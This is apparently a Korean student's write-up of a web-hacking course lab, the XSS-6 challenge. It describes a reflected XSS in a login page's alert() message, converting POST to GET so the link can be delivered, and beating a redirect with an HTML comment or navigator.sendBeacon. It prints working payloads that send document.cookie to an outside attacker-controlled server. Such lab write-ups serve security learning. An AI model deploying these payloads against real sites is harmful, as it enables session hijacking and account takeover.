해킹스터디

[Normaltic 웹해킹 입문] 9주차 문제풀이 XSS-6

herini0829 2025. 12. 31. 14:55

🕵️ XSS-6 문제 풀이: 리다이렉트 간섭 우회와 비동기 전송 기법

드디어 XSS 시리즈의 마지막 6번 문제다. 이번 문제는 로그인 페이지라는 아주 기초적인 지점에서 취약점을 찾았지만, 브라우저의 실행 우선순위와 전송 프로토콜의 특성을 제대로 이해해야 풀 수 있는 고난도 문제였다.


1. 로그인 페이지의 허점 발견

게시판을 다 뒤져도 실마리가 안 보여서 결국 처음으로 돌아와 로그인 페이지를 파헤쳤다. 존재하지 않는 ID로 로그인을 시도할 때 뜨는 경고창 문구가 <script> 내의 alert() 함수에 그대로 삽입되는 것을 확인했다.

코드 구조는 alert('[ 입력값 ] 등록되지 않은 사용자입니다.') 였고, ')를 사용해 문법을 닫고 내 코드를 주입하는 전략을 세웠다. Burp에서 직접 날려야 하기에 URL 인코딩까지 고려하여 페이로드를 작성했다.


2. POST를 GET으로 전환: "전달성 확보"

로그인은 기본적으로 POST 방식이지만, 공격자가 관리자에게 링크를 보내 클릭하게 만들려면 파라미터가 URL에 포함되는 GET 방식이 필요했다. Burp Suite에서 Method를 GET으로 바꿨을 때 서버가 동일하게 응답하는 것을 확인하고 본격적인 공격에 들어갔다.

3. 난관: "코드는 맞는데 왜 쿠키가 안 올까?"

분명 완벽한 페이로드인데 Beeceptor에 로그가 남지 않았다. 한참 고민 끝에 원인을 찾았다. 공격 코드 바로 밑에 있는 location.href='login.html' 스크립트가 문제였다.

자바스크립트의 이미지 요청(Image().src)은 비동기적으로 처리되는데, 브라우저 환경에 따라 이 요청이 완료되기도 전에 페이지를 이동(리다이렉트)시켜버려 네트워크 연결이 강제로 끊긴 것이었다. 이를 해결하기 위해 두 가지 조치를 시도했다.

방법 1: 뒤의 스크립트를 주석 처리(<!--)로 날려버리기

공격 코드 뒤에 HTML 주석인 <!--를 붙여서, 뒤에 이어지는 리다이렉트 코드가 아예 읽히지 않도록 만드는 방식이다. 브라우저가 이동하지 않고 멈춰 있게 되어 이미지 요청이 성공한다.

페이로드: ')+var+i=new+Image();i.src='https://[내-서버]/?c='%2Bdocument.cookie;<!--

방법 2: navigator.sendBeacon() 사용하기

페이지가 종료되거나 이동할 때도 비동기적으로 데이터를 전송하도록 설계된 sendBeacon 함수를 사용했다. 리다이렉트와 상관없이 쿠키를 안전하게 쏠 수 있다.

페이로드: ') navigator.sendBeacon('https://[내-서버]/?c=', document.cookie);('

🔍 궁금증: sendBeacon 이용할 때 왜 GET으로 브라우저에 직접 입력할 때만 성공할까?

"sendBeacon은 POST 방식인데, 왜 GET으로 브라우저에 직접 때려야만 쿠키가 들어오는가?"에 대한 기술적 답변이다.

✅ 핵심은 '자바스크립트 실행 엔진'의 유무
1. Burp Repeater가 안 되는 이유: 리피터는 서버로부터 받은 '텍스트(HTML)'를 보여줄 뿐이다. 즉, 그 안의 자바스크립트를 **실행(Execute)**하지 않는다. sendBeacon이나 Image().src는 브라우저가 코드를 읽고 실행해야 작동하는 기능이므로 리피터에서는 절대로 로그가 찍히지 않는다.
2. 브라우저 GET 입력이 성공하는 이유: 주소창에 GET 방식 URL을 넣으면 **브라우저가 HTML을 렌더링하면서 JS를 실행**한다. 이때 비로소 공격 코드가 동작하여 내 서버로 요청을 보내게 된다.
3. POST가 어려운 이유: 주소창(Address Bar)은 기본적으로 GET 방식만 지원한다. POST 요청을 브라우저에 직접 "입력"하는 것은 불가능하며, 폼(Form) 전송 등의 추가 과정이 없으면 JS 엔진이 돌아갈 기회가 없기 때문이다.

4. 결론

이 링크를 관리자 봇에게 접속하게 하면 성공적으로 플래그를 획득할 수 있다. 단순히 스크립트 구문을 완성하는 것을 넘어, 브라우저가 코드를 읽고 페이지를 넘기는 찰나의 타이밍까지 고려해야 했던 아주 값진 실습이었다. 끝! 😎